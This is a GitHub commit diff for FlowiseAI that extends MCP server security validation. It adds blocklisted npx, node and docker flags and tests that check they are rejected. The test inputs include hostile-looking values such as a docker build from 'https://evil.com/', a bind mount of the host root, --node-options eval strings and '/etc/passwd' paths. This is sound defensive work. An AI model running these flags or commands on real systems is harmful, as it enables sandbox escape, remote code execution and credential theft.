Skip to content

Commit 7176dcb

Browse files
Additional Improvements to MCP Server Config security (FlowiseAI#5943)
1 parent d2acf4c commit 7176dcb

2 files changed

Lines changed: 127 additions & 4 deletions

File tree

packages/components/nodes/tools/MCP/core.test.ts

Lines changed: 108 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -33,6 +33,22 @@ describe('MCP Security Validations', () => {
3333
}).toThrow("Argument '-y' is not allowed for command 'npx'")
3434
})
3535

36+
it('should block --yes flag', () => {
37+
expect(() => {
38+
validateCommandFlags('npx', ['--yes', 'https://test-malicious-download.com'])
39+
}).toThrow("Argument '--yes' is not allowed for command 'npx'")
40+
})
41+
42+
it('should block --node-options flag', () => {
43+
expect(() => {
44+
validateCommandFlags('npx', ['--node-options', '--eval malicious'])
45+
}).toThrow("Argument '--node-options' is not allowed for command 'npx'")
46+
47+
expect(() => {
48+
validateCommandFlags('npx', ['--node-options=--eval malicious'])
49+
}).toThrow("contains flag '--node-options'")
50+
})
51+
3652
it('should block case variations', () => {
3753
expect(() => {
3854
validateCommandFlags('npx', ['-C', 'command'])
@@ -83,6 +99,42 @@ describe('MCP Security Validations', () => {
8399
}).toThrow("Argument '--inspect-brk' is not allowed for command 'node'")
84100
})
85101

102+
it('should block -r/--require flags', () => {
103+
expect(() => {
104+
validateCommandFlags('node', ['-r', 'malicious-module'])
105+
}).toThrow("Argument '-r' is not allowed for command 'node'")
106+
107+
expect(() => {
108+
validateCommandFlags('node', ['--require', 'malicious-module'])
109+
}).toThrow("Argument '--require' is not allowed for command 'node'")
110+
})
111+
112+
it('should block --loader/--experimental-loader flags', () => {
113+
expect(() => {
114+
validateCommandFlags('node', ['--loader', './malicious-loader.mjs'])
115+
}).toThrow("Argument '--loader' is not allowed for command 'node'")
116+
117+
expect(() => {
118+
validateCommandFlags('node', ['--experimental-loader', './malicious-loader.mjs'])
119+
}).toThrow("Argument '--experimental-loader' is not allowed for command 'node'")
120+
})
121+
122+
it('should block --import flag', () => {
123+
expect(() => {
124+
validateCommandFlags('node', ['--import', './malicious.mjs'])
125+
}).toThrow("Argument '--import' is not allowed for command 'node'")
126+
})
127+
128+
it('should block --env-file flag', () => {
129+
expect(() => {
130+
validateCommandFlags('node', ['--env-file', '.env'])
131+
}).toThrow("Argument '--env-file' is not allowed for command 'node'")
132+
133+
expect(() => {
134+
validateCommandFlags('node', ['--env-file=.env'])
135+
}).toThrow("contains flag '--env-file'")
136+
})
137+
86138
it('should allow legitimate node usage', () => {
87139
expect(() => {
88140
validateCommandFlags('node', ['server.js'])
@@ -189,6 +241,56 @@ describe('MCP Security Validations', () => {
189241
}).toThrow("Argument '--ipc' is not allowed for command 'docker'")
190242
})
191243

244+
it('should block --mount flag', () => {
245+
expect(() => {
246+
validateCommandFlags('docker', ['--mount', 'type=bind,source=/,target=/host'])
247+
}).toThrow("Argument '--mount' is not allowed for command 'docker'")
248+
249+
expect(() => {
250+
validateCommandFlags('docker', ['--mount=type=bind,source=/,target=/host'])
251+
}).toThrow("contains flag '--mount'")
252+
})
253+
254+
it('should block --device flag', () => {
255+
expect(() => {
256+
validateCommandFlags('docker', ['--device', '/dev/sda'])
257+
}).toThrow("Argument '--device' is not allowed for command 'docker'")
258+
})
259+
260+
it('should block --entrypoint flag', () => {
261+
expect(() => {
262+
validateCommandFlags('docker', ['--entrypoint', '/bin/sh'])
263+
}).toThrow("Argument '--entrypoint' is not allowed for command 'docker'")
264+
})
265+
266+
it('should block compose subcommand', () => {
267+
expect(() => {
268+
validateCommandFlags('docker', ['compose', 'up'])
269+
}).toThrow("Argument 'compose' is not allowed for command 'docker'")
270+
})
271+
272+
it('should block --volumes-from flag', () => {
273+
expect(() => {
274+
validateCommandFlags('docker', ['--volumes-from', 'other-container'])
275+
}).toThrow("Argument '--volumes-from' is not allowed for command 'docker'")
276+
})
277+
278+
it('should block --env-file flag', () => {
279+
expect(() => {
280+
validateCommandFlags('docker', ['--env-file', '/etc/secrets'])
281+
}).toThrow("Argument '--env-file' is not allowed for command 'docker'")
282+
283+
expect(() => {
284+
validateCommandFlags('docker', ['--env-file=/etc/secrets'])
285+
}).toThrow("contains flag '--env-file'")
286+
})
287+
288+
it('should block build subcommand', () => {
289+
expect(() => {
290+
validateCommandFlags('docker', ['build', 'https://evil.com/'])
291+
}).toThrow("Argument 'build' is not allowed for command 'docker'")
292+
})
293+
192294
it('should allow safe docker usage', () => {
193295
expect(() => {
194296
validateCommandFlags('docker', ['ps'])
@@ -271,6 +373,12 @@ describe('MCP Security Validations', () => {
271373
}).toThrow('Argument contains potential local file access')
272374
})
273375

376+
it('should block double-slash absolute paths', () => {
377+
expect(() => {
378+
validateArgsForLocalFileAccess(['//etc/passwd'])
379+
}).toThrow('Argument contains potential local file access')
380+
})
381+
274382
it('should block path traversal', () => {
275383
expect(() => {
276384
validateArgsForLocalFileAccess(['../../../etc/passwd'])

packages/components/nodes/tools/MCP/core.ts

Lines changed: 19 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -190,7 +190,7 @@ function createSchemaModel(
190190
export const validateArgsForLocalFileAccess = (args: string[]): void => {
191191
const dangerousPatterns = [
192192
// Absolute paths
193-
/^\/[^/]/, // Unix absolute paths starting with /
193+
/^\//, // Unix absolute paths starting with /
194194
/^[a-zA-Z]:\\/, // Windows absolute paths like C:\
195195

196196
// Relative paths that could escape current directory
@@ -286,7 +286,9 @@ export const validateCommandFlags = (command: string, args: string[]): void => {
286286
'-c', // Execute shell commands
287287
'--call', // Execute shell commands
288288
'--shell-auto-fallback', // Shell execution fallback
289-
'-y' // Auto-confirms installation prompts
289+
'-y', // Auto-confirms installation prompts
290+
'--yes', // Auto-confirms installation prompts
291+
'--node-options' // Passes arbitrary Node flags to underlying process, bypassing node flag blocklist
290292
],
291293
node: [
292294
'-e', // Execute JavaScript code
@@ -295,7 +297,13 @@ export const validateCommandFlags = (command: string, args: string[]): void => {
295297
'--print', // Evaluate and print JavaScript code
296298
'--inspect', // Enable remote debugging (security risk)
297299
'--inspect-brk', // Enable remote debugging with breakpoint (security risk)
298-
'--experimental-policy' // Could load malicious policies
300+
'--experimental-policy', // Could load malicious policies
301+
'-r', // Short alias for --require
302+
'--require', // Preload a CommonJS module before script runs
303+
'--loader', // Custom ES module loader hook (code execution)
304+
'--experimental-loader', // Same as --loader, older Node alias
305+
'--import', // Preload ESM module before entry script (Node 18+)
306+
'--env-file' // Read env vars from a local file (Node 20+, local file access)
299307
],
300308
python: [
301309
'-c', // Execute Python code
@@ -307,15 +315,22 @@ export const validateCommandFlags = (command: string, args: string[]): void => {
307315
],
308316
docker: [
309317
'run', // Run containers (too powerful)
318+
'build', // Pulls a container and executes the run instructions
310319
'exec', // Execute in containers
320+
'compose', // Subcommand that starts containers (same risk as run)
311321
'-v', // Mount host filesystems
312322
'--volume', // Mount host filesystems
323+
'--mount', // Alternative to -v/--volume for mounting host paths
324+
'--volumes-from', // Mount volumes from another container (filesystem access)
313325
'--privileged', // Privileged mode
314326
'--cap-add', // Add capabilities
315327
'--security-opt', // Modify security options
328+
'--device', // Add host device files to container (privilege escalation)
329+
'--entrypoint', // Override container entrypoint (arbitrary code execution)
316330
'--network', // Host network access (catches --network=host and --network host)
317331
'--pid', // Host PID namespace (catches --pid=host and --pid host)
318-
'--ipc' // Host IPC namespace (catches --ipc=host and --ipc host)
332+
'--ipc', // Host IPC namespace (catches --ipc=host and --ipc host)
333+
'--env-file' // Read env vars from a local host file (local file access)
319334
]
320335
}
321336

0 commit comments

Comments
 (0)